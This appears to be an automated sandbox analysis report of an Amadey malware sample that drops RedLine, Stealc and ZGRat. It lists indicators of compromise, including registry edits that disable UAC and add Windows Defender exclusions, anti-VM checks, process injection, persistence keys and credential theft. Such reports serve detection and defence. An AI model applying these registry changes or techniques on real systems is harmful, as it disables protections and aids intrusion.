amadey | 7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295

Windows Service

T1543.003

Processes:

AppGate2103v01_16.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	AppGate2103v01_16.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe	family_redline
C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe	family_redline
behavioral2/memory/5048-96-0x0000000000D40000-0x0000000000D92000-memory.dmp	family_redline
behavioral2/memory/3840-119-0x0000000000C20000-0x0000000000CAC000-memory.dmp	family_redline
behavioral2/memory/2408-232-0x0000000000400000-0x0000000000452000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe	family_redline

Stealc
Stealc is an infostealer written in C++.
stealer stealc
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

Uni400uni.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Uni400uni.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Uni400uni.exe

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

4767d2e713f2021e8fe856e3ea638b58.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4767d2e713f2021e8fe856e3ea638b58.exe = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4767d2e713f2021e8fe856e3ea638b58.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exechrosha.exeAppGate2103v01_16.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrosha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	AppGate2103v01_16.exe

Blocklisted process makes network request 3 IoCs

Processes:

rundll32.exerundll32.exe

flow pid process

33 2580 rundll32.exe
47 2340 rundll32.exe
47 2340 rundll32.exe
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

4492 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
33	2580	rundll32.exe
47	2340	rundll32.exe
47	2340	rundll32.exe

pid	process
4492	netsh.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exechrosha.exeAppGate2103v01_16.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AppGate2103v01_16.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	AppGate2103v01_16.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe

Executes dropped EXE 31 IoCs

Processes:

chrosha.exeswiiiii.exealexxxxxxxx.exepropro.exeTraffic.exegold.exeNewB.exejok.exeswiiii.exeISetup8.exetoolspub1.exeu38g.0.exe4767d2e713f2021e8fe856e3ea638b58.exeNewB.exeFirstZ.exefile300un.exe4767d2e713f2021e8fe856e3ea638b58.exeUni400uni.exeQg_Appv5.exeptInst.exeptInst.exeAppGate2103v01_16.exereakuqnanrkn.execsrss.exeNewB.exeu38g.1.exeinjector.exewindefender.exewindefender.exeNewB.exeNewB.exe

pid	process
3364	chrosha.exe
4152	swiiiii.exe
3800	alexxxxxxxx.exe
5048	propro.exe
3840	Traffic.exe
3800	gold.exe
2276	NewB.exe
1556	jok.exe
524	swiiii.exe
4192	ISetup8.exe
4556	toolspub1.exe
5012	u38g.0.exe
4436	4767d2e713f2021e8fe856e3ea638b58.exe
884	NewB.exe
4844	FirstZ.exe
1704	file300un.exe
4928	4767d2e713f2021e8fe856e3ea638b58.exe
2280	Uni400uni.exe
4880	Qg_Appv5.exe
5036	ptInst.exe
1816	ptInst.exe
1068	AppGate2103v01_16.exe
904	reakuqnanrkn.exe
196	csrss.exe
4400	NewB.exe
4824	u38g.1.exe
668	injector.exe
2556	windefender.exe
4484	windefender.exe
4060	NewB.exe
2912	NewB.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exechrosha.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Wine	7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe
Key opened	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Wine	chrosha.exe

Loads dropped DLL 13 IoCs

Processes:

rundll32.exerundll32.exerundll32.exeRegAsm.exeptInst.exeptInst.exe

pid	process
1972	rundll32.exe
2580	rundll32.exe
2340	rundll32.exe
4224	RegAsm.exe
4224	RegAsm.exe
5036	ptInst.exe
5036	ptInst.exe
5036	ptInst.exe
1816	ptInst.exe
1816	ptInst.exe
1816	ptInst.exe
1816	ptInst.exe
1816	ptInst.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000217001\AppGate2103v01_16.exe	themida

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

4767d2e713f2021e8fe856e3ea638b58.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4767d2e713f2021e8fe856e3ea638b58.exe = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4767d2e713f2021e8fe856e3ea638b58.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

4767d2e713f2021e8fe856e3ea638b58.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

Uni400uni.exeAppGate2103v01_16.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Uni400uni.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Uni400uni.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AppGate2103v01_16.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

80 pastebin.com
81 pastebin.com
89 pastebin.com
115 pastebin.com
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

107 ipinfo.io
108 ipinfo.io
104 api.myip.com
105 api.myip.com
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

flow	ioc
80	pastebin.com
81	pastebin.com
89	pastebin.com
115	pastebin.com

flow	ioc
107	ipinfo.io
108	ipinfo.io
104	api.myip.com
105	api.myip.com

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 16 IoCs

Processes:

AppGate2103v01_16.exepowershell.exepowershell.exeFirstZ.exepowershell.exepowershell.exepowershell.exepowershell.exereakuqnanrkn.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	AppGate2103v01_16.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy	AppGate2103v01_16.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	AppGate2103v01_16.exe
File opened for modification	C:\Windows\system32\MRT.exe	FirstZ.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	AppGate2103v01_16.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	reakuqnanrkn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exechrosha.exeAppGate2103v01_16.exe

pid process

1468 7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe
3364 chrosha.exe
1068 AppGate2103v01_16.exe

Suspicious use of SetThreadContext 10 IoCs

Processes:

swiiiii.exealexxxxxxxx.exegold.exeswiiii.exefile300un.exeUni400uni.exeptInst.exereakuqnanrkn.execmd.exe

description	pid	process	target process
PID 4152 set thread context of 704	4152	swiiiii.exe	RegAsm.exe
PID 3800 set thread context of 312	3800	alexxxxxxxx.exe	RegAsm.exe
PID 3800 set thread context of 2408	3800	gold.exe	RegAsm.exe
PID 524 set thread context of 4224	524	swiiii.exe	RegAsm.exe
PID 1704 set thread context of 4456	1704	file300un.exe	AddInProcess32.exe
PID 2280 set thread context of 2312	2280	Uni400uni.exe	regsvcs.exe
PID 1816 set thread context of 236	1816	ptInst.exe	cmd.exe
PID 904 set thread context of 3956	904	reakuqnanrkn.exe	conhost.exe
PID 904 set thread context of 1448	904	reakuqnanrkn.exe	explorer.exe
PID 236 set thread context of 3976	236	cmd.exe	MSBuild.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

4767d2e713f2021e8fe856e3ea638b58.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN 4767d2e713f2021e8fe856e3ea638b58.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	4767d2e713f2021e8fe856e3ea638b58.exe

Drops file in Windows directory 5 IoCs

Processes:

4767d2e713f2021e8fe856e3ea638b58.execsrss.exe7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	4767d2e713f2021e8fe856e3ea638b58.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File created	C:\Windows\Tasks\chrosha.job	7ec2b4b3b4ffada8ca6cb325760da87a30ea48b6abab7cec65a10a4ca17b2295.exe
File opened for modification	C:\Windows\rss	4767d2e713f2021e8fe856e3ea638b58.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
1072	sc.exe
3984	sc.exe
4460	sc.exe
3944	sc.exe
512	sc.exe
1396	sc.exe
312	sc.exe
5036	sc.exe
3324	sc.exe
4460	sc.exe
3912	sc.exe
1628	sc.exe
1460	sc.exe
2152	sc.exe
408	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

1224 4152 WerFault.exe swiiiii.exe
2436 4556 WerFault.exe toolspub1.exe

pid	pid_target	process	target process
1224	4152	WerFault.exe	swiiiii.exe
2436	4556	WerFault.exe	toolspub1.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

u38g.1.exetoolspub1.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u38g.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u38g.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u38g.1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

5060 schtasks.exe
3928 schtasks.exe
2868 schtasks.exe

pid	process
5060	schtasks.exe
3928	schtasks.exe
2868	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

4767d2e713f2021e8fe856e3ea638b58.exepowershell.exewindefender.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-435 = "Georgian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-381 = "South Africa Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2371 = "Easter Island Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-461 = "Afghanistan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-571 = "China Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1411 = "Syria Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1722 = "Libya Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2632 = "Norfolk Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2772 = "Omsk Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-72 = "Newfoundland Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-151 = "Central America Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-721 = "Central Pacific Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-452 = "Caucasus Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-342 = "Egypt Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2792 = "Novosibirsk Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2391 = "Aleutian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-131 = "US Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	4767d2e713f2021e8fe856e3ea638b58.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1972 = "Belarus Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-434 = "Georgian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	4767d2e713f2021e8fe856e3ea638b58.exe
